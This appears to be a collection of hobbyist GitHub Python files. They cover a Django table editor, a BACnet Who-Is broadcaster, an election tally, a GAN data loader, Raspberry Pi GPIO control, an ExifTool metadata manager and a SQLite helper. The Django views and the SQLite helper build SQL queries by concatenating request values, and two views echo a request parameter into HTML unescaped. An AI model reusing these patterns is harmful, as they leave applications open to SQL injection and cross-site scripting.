+{"seq_id":"20320308901","text":"# -*- coding: utf-8 -*-\nimport os\nimport time\n\nfrom django.shortcuts import render, redirect\nfrom django.template.loader import render_to_string\nfrom django.views.decorators import csrf\nfrom django.http import HttpResponse\nfrom django.utils import timezone\nfrom django.contrib.auth.forms import UserCreationForm\n\nfrom cmdb.models import table_basic, table_content, table_head\n\nTABLEINDEX = os.getcwd() + \"/templates/index.html\"\n\n\ndef table(request):\n    return tablegenerate(request)\n\n\ndef tablenewform(request):\n    return render(request, \"tablenewform.html\")\n\ndef tablegenerate(request):\n    request.encoding = 'utf-8'\n\n    ctx = {}\n    indexfile = open(TABLEINDEX, \"r\")\n    indexcontent = indexfile.read()\n    indexfile.close()\n\n    alltables = table_basic.objects.raw(\"select * from cmdb_table_basic order by update_time desc\")\n\n    for eachtable in alltables:\n        ctx[\"table_name\"] = eachtable.table_name\n        ctx[\"table_cols\"] = eachtable.table_columns\n        ctx[\"table_rows\"] = eachtable.table_rows\n\n        table_id = str(eachtable.id)\n        query = 'select * from cmdb_table_head where table_id=' + table_id + ' order by head_column'\n        allheads = table_head.objects.raw(query)\n\n        query = 'select * from cmdb_table_content where table_id=' + table_id + ' order by cell_row, cell_column'\n        allcells = table_content.objects.raw(query)\n\n        context = {'ctx':ctx, 'cols_range':range(0,int(ctx[\"table_cols\"])), 'rows_range':range(0,int(ctx[\"table_rows\"])), 'hide':1, 'allheads':allheads, 'allcells':allcells}\n        tablefrmcontent = render_to_string(\"tableframe.html\", context)\n\n        indexpos = indexcontent.find('<label name=\"add new table before\"></label>')\n        if indexpos != -1:\n            indexcontent = indexcontent[:indexpos] + tablefrmcontent + indexcontent[indexpos:]\n\n    return HttpResponse(indexcontent)\n\n\ndef cellupdate(request):\n    request.encoding = 'utf-8'\n\n    if request.POST:\n        table_name = request.POST[\"tabname\"]\n        table_id = table_basic.objects.filter(table_name=table_name)[0].id\n        cell_type = request.POST[\"type\"]\n        cell_col = request.POST[\"col\"]\n        cell_row = request.POST[\"row\"]\n        cell_content = request.POST[\"cellcontent\"].strip()\n\n        if cell_type == \"head\":\n            table_head.objects.filter(table_id=table_id).filter(head_column=cell_col).update(head_content=cell_content)\n        else:\n            table_content.objects.filter(table_id=table_id).filter(cell_column=cell_col).filter(cell_row=cell_row).update(cell_content=cell_content)\n\n        date_time = timezone.now().strftime('%Y-%m-%d %H:%M:%S')\n        table_basic.objects.filter(id=table_id).update(update_time=date_time)\n\n    return HttpResponse('cell updated')\n\n\ndef celladd(request):\n    request.encoding = 'utf-8'\n    add_type = ''\n\n    if request.POST:\n        table_name = request.POST[\"tabname\"]\n        table_id = table_basic.objects.filter(table_name=table_name)[0].id\n        cell_type = request.POST[\"type\"]\n        cell_col = request.POST[\"col\"]\n        cell_row = request.POST[\"row\"]\n        cell_content = request.POST[\"cellcontent\"].strip()\n        add_type = request.POST[\"addtype\"]\n\n        if cell_type == \"head\":\n            table_info = table_basic.objects.get(id=table_id)\n            table_info.table_columns += 1\n            table_info.save()\n\n            table_head(table_id=table_id, head_column=cell_col, head_content=cell_content).save()\n        else:\n            if add_type== \"row\":\n                table_info = table_basic.objects.get(id=table_id)\n                table_info.table_rows += 1\n                table_info.save()\n            else:\n                table_content(table_id=table_id, cell_column=cell_col, cell_row=cell_row, cell_content=cell_content).save()\n\n    return HttpResponse('cell added')\n\n\ndef celldel(request):\n    request.encoding = 'utf-8'\n    del_type = ''\n\n    if request.POST:\n        table_name = request.POST[\"tabname\"]\n        table_id = table_basic.objects.filter(table_name=table_name)[0].id\n        cell_type = request.POST[\"type\"]\n        cell_col = request.POST[\"col\"]\n        cell_row = request.POST[\"row\"]\n        del_type = request.POST[\"deltype\"]\n\n        if cell_type == \"head\":\n            table_head.objects.filter(table_id=table_id).filter(head_column=cell_col).delete()\n\n            table_info = table_basic.objects.get(id=table_id)\n            table_info.table_columns -= 1\n            table_info.save()\n\n            query = \"select * from cmdb_table_head where table_id=\" + str(table_id) + \" and head_column>\" + str(cell_col)\n            updatedcols = table_head.objects.raw(query)\n\n            for col in updatedcols:\n                col.head_column -= 1\n                col.save()\n\n        else:\n            if del_type == 'row':\n                table_info = table_basic.objects.get(id=table_id)\n                table_info.table_rows -= 1\n                table_info.save()\n\n            table_content.objects.filter(table_id=table_id).filter(cell_column=cell_col).filter(cell_row=cell_row).delete()\n\n            if del_type == 'column':\n                query = \"select * from cmdb_table_content where table_id=\" + str(table_id) + \" and cell_row=\" + str(cell_row) + \" and cell_column>\" + str(cell_col)\n                updatedcols = table_content.objects.raw(query)\n\n                for col in updatedcols:\n                    col.cell_column -= 1\n                    col.save()\n\n            if del_type == 'rowcell':\n                query = \"select * from cmdb_table_content where table_id=\" + str(table_id) + \" and cell_row>\" + str(cell_row) + \" and cell_column=\" + str(cell_col)\n                updatedrows = table_content.objects.raw(query)\n\n                for row in updatedrows:\n                    row.cell_row -= 1\n                    row.save()\n\n    return HttpResponse('cell deleted')\n\n\ndef tableclr(request):\n    request.encoding = 'utf-8'\n\n    if 'tabname' in request.GET:\n        try:\n            tableid = table_basic.objects.get(table_name=request.GET['tabname']).id\n        except:\n            return HttpResponse(u'<h3>'+request.GET['tabname']+u'表不存在</h3>')\n\n        table_basic.objects.filter(id=tableid).update(table_rows=0)\n        table_content.objects.filter(table_id=tableid).delete()\n\n\ndef tabledel(request):\n    request.encoding = 'utf-8'\n\n    if 'tabname' in request.GET:\n        try:\n            tableid = table_basic.objects.get(table_name=request.GET['tabname']).id\n        except:\n            return HttpResponse(u'<h3>'+request.GET['tabname']+u'表不存在</h3>')\n\n        table_basic.objects.filter(table_name=request.GET['tabname']).delete()\n        table_head.objects.filter(table_id=tableid).delete()\n        table_content.objects.filter(table_id=tableid).delete()\n\n    return render(request, \"index.html\")\n\n\ndef tablenew(request):\n    request.encoding='utf-8'\n\n    ctx = {}\n    if request.POST:\n        ctx[\"table_name\"] = request.POST[\"table_name\"]\n        ctx[\"table_cols\"] = request.POST[\"table_cols\"]\n        ctx[\"table_rows\"] = request.POST[\"table_rows\"]\n\n        context = {'ctx':ctx, 'cols_range':range(0,int(ctx[\"table_cols\"])), 'rows_range':range(0,int(ctx[\"table_rows\"])), 'hide':0, 'allheads':0, 'allcells':0}\n        tablefrmcontent = render_to_string(\"tableframe.html\", context)\n        indexfile = open(TABLEINDEX, \"r\")\n        indexcontent = indexfile.read()\n        indexfile.close()\n\n        indexpos = indexcontent.find('<label name=\"add new table before\"></label>')\n        if indexpos != -1:\n            indexcontent = indexcontent[:indexpos] + tablefrmcontent + indexcontent[indexpos:]\n\n        newtable = table_basic(table_name=ctx[\"table_name\"], table_columns=ctx[\"table_cols\"], table_rows=ctx[\"table_rows\"])\n        newtable.save()\n        for col in range(1, int(ctx[\"table_cols\"])+1):\n            newtablehead = table_head(table_id=newtable.id, head_column=col, head_content='列'+str(col))\n            newtablehead.save()\n\n            for row in range(1, int(ctx[\"table_rows\"])+1):\n               newtablecontent = table_content(table_id=newtable.id, cell_column=col, cell_row=row, cell_content='')\n               newtablecontent.save()\n\n        return HttpResponse(indexcontent)\n\n    else:\n        return render(request, \"index.html\")\n\n\ndef useradd(request):\n    if request.method == 'POST':\n        form = UserCreationForm(request.POST)\n\n        if form.is_valid():\n            form.save()\n\n            return redirect('/')\n    else:\n        form = UserCreationForm()\n\n    return render(request, 'useradd.html', context={'form': form})\n\n\ndef register(request):\n    if request.method == 'POST':\n        form = UserCreationForm(request.POST)\n\n        if form.is_valid():\n            form.save()\n            return redirect('/')\n\n    else:\n        form = UserCreationForm()\n\n    return render(request, 'register.html', context={'form': form})\n","repo_name":"wlxmhls/editableTable","sub_path":"cmdb/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":8865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19519931507","text":"#! /usr/bin/env python\n\nimport socket\nimport sys\n\n\"\"\" enter adapter IP address of BACnet device. if broadcast enter xxx.xxx.xxx.255 \"\"\"\nUDP_IP = sys.argv[1]\n\"\"\" BACnet default port 47808 \"\"\"\nUDP_PORT = int(sys.argv[2])\n\nINSTANCE_LOW = sys.argv[3]\nINSTANCE_HIGH = sys.argv[4]\n\n\"\"\" Type = 0x81 for BACnet/IP \"\"\"\nBVLC_TYPE = 0x81 \n\n\"\"\" Function = 0x0b for original broadcast NPDU \"\"\"\nBVLC_FUNC = 0x0b\n\n\"\"\" Length 2 bytes variable. Will be calculated later...  \"\"\"\nBVLC_LENGTH_H = 0x00 \nBVLC_LENGTH_L = 0x00 \n\n\"\"\" NPDU version = 0x01. Always 0x01 Ashrea 135-1995 \"\"\"\nNPDU_VER = 0x01\n\n\"\"\" NPCI control octet = 0x20. bin = 100000. Bit 5 is set, means DNET-DLEN Hop Count are present, no expectation reply, priority normal \"\"\"\nNPCI = 0x20\n\n\"\"\" Destination address = 65535 \"\"\"\nDNET_H = 0xff\nDNET_L = 0xff\n\n\"\"\" MAC layer address = 0, indicates a broadcast \"\"\"\nDADR = 0x00\n\n\"\"\" Hop count = 255 \"\"\"\nHOPC = 0xff\n\n\"\"\" APDU Type = 0x10, unconfirmed request \"\"\"\nAPDU_TYPE = 0x10\n\n\"\"\" APDU service = 0x08, who-is \"\"\"\nAPDU_SERV = 0x08\n \n\ndef inst_low_bytes(inst):\n\n\tif (inst > 65535): \n\t\ttag = 0x0b\n\t\tbyte_1 = inst >> 16\n\t\tbyte_2 = (inst >> 8) & 0xff\n\t\tbyte_3 = inst & 0xff\n\t\treturn [tag,byte_1,byte_2,byte_3]\n\telse:\n\t\ttag = 0x0a\n\t\tbyte_1 = inst >> 8\n\t\tbyte_2 = inst & 0xff\t\n\t\treturn [tag,byte_1,byte_2]\n\t\n\ndef inst_high_bytes(inst):\n\n\tif (inst > 65535): \n\t\ttag = 0x1b\n\t\tbyte_1 = inst >> 16\n\t\tbyte_2 = (inst >> 8) & 0xff\n\t\tbyte_3 = inst & 0xff\n\t\treturn [tag,byte_1,byte_2,byte_3]\n\telse:\n\t\ttag = 0x1a\n\t\tbyte_1 = inst >> 8\n\t\tbyte_2 = inst & 0xff\t\n\t\treturn [tag,byte_1,byte_2]\n\n\ndef length_calc(ln):\n\t\n\t\tbyte_1 = ln >> 8\n\t\tbyte_2 = ln & 0xff\t\n\t\treturn [byte_1,byte_2]\n\n\nINSTANCE_LOW_BYTES = inst_low_bytes(int(INSTANCE_LOW))\nINSTANCE_HIGH_BYTES = inst_high_bytes(int(INSTANCE_HIGH))\n\n\"\"\" BVLC, NPDU, APDU Header message \"\"\"\nBACNET_IP = [BVLC_TYPE,BVLC_FUNC,BVLC_LENGTH_H,BVLC_LENGTH_H,NPDU_VER,NPCI,DNET_H,DNET_L,DADR,HOPC,APDU_TYPE,APDU_SERV]\n\nfor i in range(0, len(INSTANCE_LOW_BYTES)):\n\tBACNET_IP.append(INSTANCE_LOW_BYTES[i])\n\nfor i in range(0, len(INSTANCE_HIGH_BYTES)):\n\tBACNET_IP.append(INSTANCE_HIGH_BYTES[i])\n\nLENGTH_TOT = len(BACNET_IP)\nLENGTH = length_calc(LENGTH_TOT)\n\nBACNET_IP[2] = LENGTH[0]\nBACNET_IP[3] = LENGTH[1]\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n\nsock.sendto(bytearray(BACNET_IP), (UDP_IP, UDP_PORT))\n#print BACNET_IP\n#print '[{}]'.format(', '.join(hex(x) for x in BACNET_IP))\n\t\n\n\"\"\" End \"\"\"\n\n\n\n\n\n\n\n\n\"\"\" ******************************************** test ********************************************  \"\"\"\n \n\"\"\"\nUDP_IP = \"10.50.80.22\" or \"10.50.80.255\"\n\nINSTANCE_MIN_H = int(sys.argv[3]) >> 8\nINSTANCE_MIN_L = int(sys.argv[3]) & 0xff\nINSTANCE_MAX_H = int(sys.argv[4]) >> 8\nNSTANCE_MAX_L = int(sys.argv[4]) & 0xff\n\n#WHO-IS range 1200-1200 #MESSAGE = bytearray([0x81,0x0b,0x00,0x12,0x01,0x20,0xff,0xff,0x00,0xff,0x10,0x08,0x0a,INSTANCE_MIN_H,INSTANCE_MIN_L,0x1a,INSTANCE_MAX_H,INSTANCE_MAX_L])\n\nMESSAGE = bytearray([0x81,0x0b,0x00,0x12,0x01,0x20,0xff,0xff,0x00,0xff,0x10,0x08,0x0b,0x00,INSTANCE_MIN_H,INSTANCE_MIN_L,0x1b,0x00,INSTANCE_MAX_H,INSTANCE_MAX_L])\n\n\"\"\"\n\n","repo_name":"pascal1062/BACnet","sub_path":"python/who-is_udp.py","file_name":"who-is_udp.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"8831270313","text":"import csv\nimport os\n\n# Define data path\nelection_data = os.path.join('Resources/election_data.csv')\n\n# Set variables\ntotal_votes = 0\nstockham_votes = 0\ndegette_votes = 0\ndoane_votes = 0\n\n# Set lists \nunique_list = []\ncandidate_name = []\n\n# Open csv file\nwith open(election_data) as csvfile:\n    csv_reader = csv.reader(csvfile, delimiter=',')\n\n    # Skip Header\n    csv_header = next(csv_reader)\n\n    # To read all the rows of data\n    for row in csv_reader:\n\n        total_votes +=1\n\n        # Append total votes by candidate\n        for names in candidate_name:\n            if row [2] not in candidate_name:\n                candidate_name.append(row[2])\n\n        # Vote count by candidate\n        if row[2] == \"Charles Casper Stockham\":\n            stockham_votes = stockham_votes + 1 \n        elif row[2] == \"Diana DeGette\":\n            degette_votes =  degette_votes + 1 \n        else:\n            doane_votes = doane_votes + 1 \n        \n    # Calculate percentage of votes each candidate won\n    stockham_percent = (stockham_votes / total_votes)\n    degette_percent = (degette_votes / total_votes)\n    doane_percent = (doane_votes / total_votes)\n\n    # Identify popular vote winner\n    winner = max(stockham_votes,degette_votes,doane_votes)\n\n    # Display name of winner\n    if winner == stockham_votes:\n        winner_name = \"Charles Casper Stockham\"\n    elif winner == degette_votes:\n        winner_name = \"Diana DeGette\"\n    else:\n        winner_name = \"Raymon Anthony Doane\"\n\n# Print the analysis \nprint(\"Election Results\")\nprint(\"-------------------------------------------------------------------\")\nprint(f'Total Votes: {total_votes}')\nprint(\"-------------------------------------------------------------------\")\nprint(f'Charles Casper Stockham: {stockham_percent: .3%} ({stockham_votes})')\nprint(f'Diana DeGette: {degette_percent: .3%} ({degette_votes})')\nprint(f'Raymon Anthony Doane: {doane_percent: .3%} ({doane_votes})')\nprint(\"-------------------------------------------------------------------\")\nprint(f'Winner is: {winner_name} with {winner} votes!')\nprint(\"-------------------------------------------------------------------\")\n\n\n# Print results to text file*********** \nwith open('analysis/election_data.txt', 'w') as text:\n    # with open('election_data.txt', 'w') as text:\n    text.write(\"Election Results\\n\")\n    text.write(\"-------------------------------------------------------------------\\n\")\n    text.write(f'Total Votes: {total_votes}\\n')\n    text.write(\"-------------------------------------------------------------------\\n\")\n    text.write(f'Charles Casper Stockham: {stockham_percent: .3%} ({stockham_votes})\\n')\n    text.write(f'Diana DeGette: {degette_percent: .3%} ({degette_votes})\\n')\n    text.write(f'Raymon Anthony Doane: {doane_percent: .3%} ({doane_votes})\\n')\n    text.write(\"-------------------------------------------------------------------\\n\")\n    text.write(f'Winner is: {winner_name} with {winner} votes!\\n')\n    text.write(\"-------------------------------------------------------------------\\n\")\n","repo_name":"daniellecaro/python-challenge","sub_path":"PyPoll/pypoll_main.py","file_name":"pypoll_main.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18257614217","text":"from math import *\ndef fact(n):\n    if n== 0:\n        return 1\n    return n*fact(n-1)\n\nprint(\"Vous allez rentrer une valeur entiere et je vais vous retourner la valeur approximative definit par e=sum(1/factorielle(n))\")\nvaleur=-1\nwhile valeur <= -1:\n    Variable=input(\"entrer la valeur de la limite . Valeur=\")\n    try:\n        valeur=int(Variable)\n        e=0\n        for l in range(valeur+1):\n            e=e+1/fact(l)\n    except:\n        print(\"Vous devez rentrer un nombre entier  et non une chaine de caractere ou une nombre décimale\")\n\nprint(e)\n\n","repo_name":"LeslyGui/URGEO_PYTHON_DEVOIR","sub_path":"TP4/Exercice_4.py","file_name":"Exercice_4.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20727104062","text":"import io\nfrom operator import mod\nimport sys\n\n_INPUT = \"\"\"\\\n30\n-o-o-oooo-oo-o-ooooooo--oooo-o\n\n\n\"\"\"\nsys.stdin = io.StringIO(_INPUT)\n\n# ---------------------------------\n_ = input()\n\ndango = input()\n\nif \"-\" not in dango:\n    print(-1)\n    exit()\n\nwhile \"--\" in dango:\n    dango = dango.replace(\"--\", \"-\")\n\n# print(dango)\nmax_x = -1\nfor d in dango.split(\"-\"):\n    max_x = max(max_x, len(d))\n\n\nprint(max_x if max_x != 0 else -1)\n","repo_name":"makima333/Atcoder-ganbaru","sub_path":"contest/abc299/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18408768003","text":"import os\nimport random\n\nimport tensorflow as tf\nfrom PIL import Image\nimport pathlib\nfrom common import WIDTH,HEIGHT,NUM_DIM\nIMG_PATH = 'images'\nimg_dir = pathlib.Path(IMG_PATH)\n\n\nBATCH_SIZE = 16\nval_size = 100\nAUTOTUNE = tf.data.AUTOTUNE\n\n\ndef process_img(path):\n    img = tf.io.read_file(path)\n    img = tf.io.decode_png(img, channels=NUM_DIM)\n    img = tf.image.resize(img, [HEIGHT, WIDTH])\n    img = scale_image(img)\n    return img\n\n\ndef get_data():\n    fake_ds = tf.data.Dataset.list_files(str(img_dir / 'fake/*'))  ##returns dataset containing list of file strings\n    real_ds = tf.data.Dataset.list_files(str(img_dir / 'real/*'))\n\n    real_ds = real_ds.map(process_img)  ##Convert file strings to images\n    fake_ds = fake_ds.map(process_img)\n    real_ds = real_ds.shuffle(100)\n    fake_ds = fake_ds.shuffle(100)\n    real_ds = optimizeds(real_ds)\n    fake_ds = optimizeds(fake_ds)\n    return fake_ds, real_ds\n\n\ndef optimizeds(ds):\n    ds = ds.cache()\n    ds = ds.batch(BATCH_SIZE)\n    ds = ds.prefetch(buffer_size=AUTOTUNE)\n    return ds\n\n#converts normalized float image back to byte array\ndef reverse_parse(images):\n    return tf.cast(tf.maximum(0.0, tf.minimum(255.0, ((images + 1) / 2) * 255.0)), tf.uint8)\n#used to scale array values to 0.0-1.0\ndef scale_image(img):\n    return img/127.5 - 1.0\n\n\ndef duplicate_real():\n    k = 3000\n    for file in os.listdir('images/real'):\n        name = 'images/real/'+file\n        im = Image.open(name)\n        im_flipped = tf.image.flip_left_right(im)\n        im_flipped = tf.image.resize(im_flipped,[54,72],method=tf.image.ResizeMethod.BICUBIC)\n        im_flipped = tf.image.random_crop(im_flipped,[HEIGHT,WIDTH,NUM_DIM])\n        tf.keras.utils.save_img('images/real/{0}.png'.format(k),im_flipped,scale=False)\n        k+=1\n\n","repo_name":"BouwerBotha/GNAV","sub_path":"Exp1/GAN/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38861642225","text":"class ListNode:\n\n\tdef __init__(self, value, NIL):\n\t\tself.value = value\n\t\tself.next = NIL\n\nclass LinkedList:\n\n\tdef __init__(self):\n\t\tself.NIL = ListNode(0, 0)\n\t\tself.root = self.NIL\n\t\tself.last = self.NIL\n\n\tdef append(self, value):\n\t\tnewNode = ListNode(value, self.NIL)\n\n\t\tif (self.root == self.NIL):\n\t\t\tself.root = newNode\n\n\t\tif (self.last != self.NIL):\n\t\t\tself.last.next = newNode\n\n\t\tself.last = newNode\n\nlinkedList = LinkedList()\n\nfor i in range(0, 100):\n\tlinkedList.append(i)\n\nnextEntry = linkedList.root\n\nwhile (nextEntry != linkedList.NIL):\n\tprint(nextEntry.value)\n\tnextEntry = nextEntry.next\n","repo_name":"vstollen/python-fun","sub_path":"linked-list.py","file_name":"linked-list.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2422921051","text":"\"\"\"\nContains all the rpi workers actuators definitions\n\"\"\"\ntry:\n    import RPi.GPIO as GPIO\nexcept:\n    import Mock.GPIO as GPIO\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(17, GPIO.OUT)\n\n\nclass _RPIActuator(object):\n    def __init__(self, mqtt_client, logger):\n        self.client = mqtt_client\n        self.logger = logger\n\n\nclass WhiteLED(_RPIActuator):\n    sub_topic = \"actions/whiteled\"\n    pin = 17\n\n    def __init__(self, mqtt_client, logger):\n        super().__init__(mqtt_client, logger)\n        GPIO.setup(self.pin, GPIO.OUT)\n\n    def execute(self, data: dict, logger):\n        new_state = data.get('value')\n        if new_state == 'ON':\n            GPIO.output(self.pin, GPIO.HIGH)\n        elif new_state == 'OFF':\n            GPIO.output(self.pin, GPIO.LOW)\n        self.logger.info(f'White Led is now {new_state}')\n\n\n# class Webcam(_RPIActuator):\n#     sub_topic = \"actions/webcam\"\n\n","repo_name":"franciscoaze/plantie-plantie","sub_path":"pyplantie/workers/raspberry_actuators.py","file_name":"raspberry_actuators.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"142659080","text":"import os\nimport logging\nimport shutil\nfrom pathlib import Path\nfrom vivicfm.AviMetaEdit import AviMetaEdit\nfrom vivicfm.CFMOutputFile import CFMFileRW\nfrom vivicfm.CFMOutputDirectory import CFMOutputDirectory\nfrom vivicfm.ConsoleProgressBar import ConsoleProgressBar\nfrom vivicfm.ExifTool import ExifTool\n\nLOGGER = logging.getLogger('cfm')\n\n\nclass MetadataManager:\n    IMAGES_UPDATABLE_BY_EXIF_TOOL = [\".jpg\", \".jpeg\"]\n    VIDEOS_UPDATABLE_BY_EXIF_TOOL = [\".mp4\", \".mov\"]\n    VIDEOS_UPDATABLE_BY_AVI_META_EDIT = [\".avi\", \".wav\"]\n    EXIF_TOOL_CACHE = \"cache-exif-tool.json\"\n\n    def __init__(self, use_cache=True):\n        self.exif_tool = None\n        self.exif_tool_is_started = False\n        self.avi_meta_edit = None\n        self.data_read_by_exif_tool = {}\n        self.cached_data_read_by_exif_tool = {}\n        self.use_cache = use_cache\n        if self.use_cache:\n            self.load_cache()\n\n    def __enter__(self):\n        self.start_exif_tool()\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.stop_exif_tool()\n\n    def create_exif_tool(self):\n        if self.exif_tool is None:\n            self.exif_tool = ExifTool(stdout_file_path=CFMOutputDirectory.path / \"exif-stdout.txt\",\n                                      stderr_file_path=CFMOutputDirectory.path / \"exif-stderr.txt\")\n\n    def create_avi_meta_edit(self):\n        if self.avi_meta_edit is None:\n            self.avi_meta_edit = AviMetaEdit(stdout_file_path=CFMOutputDirectory.path / \"avimetaedit-stdout.txt\",\n                                             stderr_file_path=CFMOutputDirectory.path / \"avimetaedit-stderr.txt\")\n\n    def start_exif_tool(self):\n        self.create_exif_tool()\n        if not self.exif_tool_is_started:\n            self.exif_tool.start()\n            self.exif_tool_is_started = True\n\n    def stop_exif_tool(self):\n        if self.exif_tool_is_started:\n            if self.use_cache:\n                self.save_cache()\n            self.exif_tool.stop()\n            self.exif_tool_is_started = False\n\n    def batch_get_cm(self, file_list, title, force_reload=False):\n        result = {}\n        self.display_starting_line()\n        progress = ConsoleProgressBar(len(file_list), title)\n        LOGGER.info(\"Start batch <get camera model>\")\n        try:\n            for file in file_list:\n                result[file] = self.get_model_or_source(file, force_reload)\n                progress.increment()\n        finally:\n            progress.stop()\n            self.stop_exif_tool()\n            LOGGER.info(\"End batch <get camera model>\")\n            self.display_ending_line()\n\n        return result\n\n    def get_model_or_source(self, file_path, force_reload=False):\n        if file_path not in self.data_read_by_exif_tool or force_reload:\n            self.start_exif_tool()\n            self.data_read_by_exif_tool[file_path] = self.exif_tool.get_model_or_source(file_path)\n        return self.data_read_by_exif_tool[file_path]\n\n    def batch_update_cm(self, file_list, title):\n        self.display_starting_line()\n        progress = ConsoleProgressBar(len(file_list), title)\n        LOGGER.info(\"Start batch <update camera model>\")\n        try:\n            for file, model in file_list.items():\n                error = self.update_model_or_source(file, model)\n                if error != \"\":\n                    LOGGER.error(error)\n                progress.increment()\n        finally:\n            progress.stop()\n            self.stop_exif_tool()\n            LOGGER.info(\"End batch <update camera model>\")\n            self.display_ending_line()\n\n    def update_model_or_source(self, file_path, new_model):\n        self.save_original(file_path)\n        filename = Path(file_path).name\n        ext = os.path.splitext(filename)[1].lower()\n\n        if ext in MetadataManager.IMAGES_UPDATABLE_BY_EXIF_TOOL:\n            self.start_exif_tool()\n            error = self.exif_tool.update_model(file_path, new_model)\n\n        elif ext in MetadataManager.VIDEOS_UPDATABLE_BY_EXIF_TOOL:\n            self.start_exif_tool()\n            error = self.exif_tool.update_source(file_path, new_model)\n\n        elif ext in MetadataManager.VIDEOS_UPDATABLE_BY_AVI_META_EDIT:\n            self.create_avi_meta_edit()\n            error = self.avi_meta_edit.update_source(file_path, new_model)\n        else:\n            error = \"Metadata of this file can't be updated with this version of the tool: %s\" % filename\n        return error\n\n    def batch_revert(self, file_list):\n        reverted_files = []\n        self.display_starting_line()\n        LOGGER.info(\"Start batch <revert camera model>\")\n        progress = ConsoleProgressBar(len(file_list), \"Revert all files previously saved\")\n        try:\n            for file_path in file_list:\n                reverted = self.restore_original(file_path)\n                if reverted:\n                    reverted_files.append(file_path)\n                progress.increment()\n        finally:\n            progress.stop()\n            LOGGER.info(\"End batch <revert camera model>\")\n            self.display_ending_line()\n        return reverted_files\n\n    def load_cache(self):\n        self.load_data_read_by_exif_tool()\n\n    def save_cache(self):\n        self.save_data_read_by_exif_tool()\n\n    def save_data_read_by_exif_tool(self):\n        if self.data_read_by_exif_tool != self.cached_data_read_by_exif_tool:\n            self.cached_data_read_by_exif_tool = self.data_read_by_exif_tool.copy()\n            CFMFileRW.save_dict(self.cached_data_read_by_exif_tool, MetadataManager.EXIF_TOOL_CACHE)\n\n    def load_data_read_by_exif_tool(self):\n        self.cached_data_read_by_exif_tool = CFMFileRW.load_dict(MetadataManager.EXIF_TOOL_CACHE)\n        if self.cached_data_read_by_exif_tool is not None:\n            self.data_read_by_exif_tool = self.cached_data_read_by_exif_tool.copy()\n\n    @staticmethod\n    def save_original(file_path):\n        original_renamed = file_path + \".original\"\n        if not os.path.exists(original_renamed):\n            os.rename(file_path, original_renamed)\n            shutil.copy2(original_renamed, file_path)\n\n    @staticmethod\n    def restore_original(file_path):\n        original_file = file_path + \".original\"\n        if os.path.exists(original_file):\n            os.remove(file_path)\n            os.rename(original_file, file_path)\n            return True\n        return False\n\n    @staticmethod\n    def display_starting_line():\n        console_width = shutil.get_terminal_size((80, 20)).columns - 1\n        line = '\\n{text:{fill}{align}{width}}'.format(\n            text='',\n            fill='-',\n            align='<',\n            width=console_width,\n        )\n        print(line)\n\n    @staticmethod\n    def display_ending_line():\n        console_width = shutil.get_terminal_size((80, 20)).columns - 1\n        line = '{text:{fill}{align}{width}}\\n'.format(\n            text='',\n            fill='-',\n            align='<',\n            width=console_width,\n        )\n        print(line)\n","repo_name":"vivi-18133/vivi-cfm","sub_path":"vivicfm/MetadataManager.py","file_name":"MetadataManager.py","file_ext":"py","file_size_in_byte":6974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1871011067","text":"import sqlite3\n\nclass Db:\n    \"\"\"работа с базой данной происходяит только отсюда\"\"\"\n\n    def search_by_word_with_like(self, database, table_name, column_where, word):\n        self.db = sqlite3.connect(database)\n        with self.db:\n            cur = self.db.cursor()\n            cur.execute(\"SELECT * \"\n                    \"FROM \" + table_name + \" \"\n                                      \"WHERE \" + column_where + \" LIKE '%\" + word + \"%'\")\n            t=cur.fetchall()\n            #self.db.close()\n            return t\n            \n    \n    def GetByColumnName(self,database, table_name, column_where, value):\n        self.db = sqlite3.connect(database)\n        with self.db:\n            cur = self.db.cursor()\n            cur.execute(\"SELECT * \"\n                    \"FROM \" + table_name + \" \"\n                                        \"WHERE \" + column_where + \" = '\" + value + \"'\")\n            t=cur.fetchall()\n            #self.db.close()\n            return t\n\n    def Execute (self,database,query):\n        self.db = sqlite3.connect(database)\n        with self.db:\n            cur = self.db.cursor()\n            cur.execute(query)\n            \n            t=cur.fetchall()\n            self.db.commit()\n            return t\n\n    def ExecuteSingle (self,database,query):\n        return self.Execute(database,query)[0]\n\n    def Close(self):\n        self.db.close()\n\n\nconn1=sqlite3.connect(\"db_001.db\")\ncur1= conn1.cursor()\ntName='T_Telegram_Messages'\ncur1.execute(\"CREATE TABLE IF NOT EXISTS \"+tName+\" (message_id INTEGER PRIMARY KEY , Text TEXT, User TEXT, Created DATETIME);\")# maybu user_id?\n","repo_name":"ayazzali/FAQ_KAI_Bot","sub_path":"Db.py","file_name":"Db.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
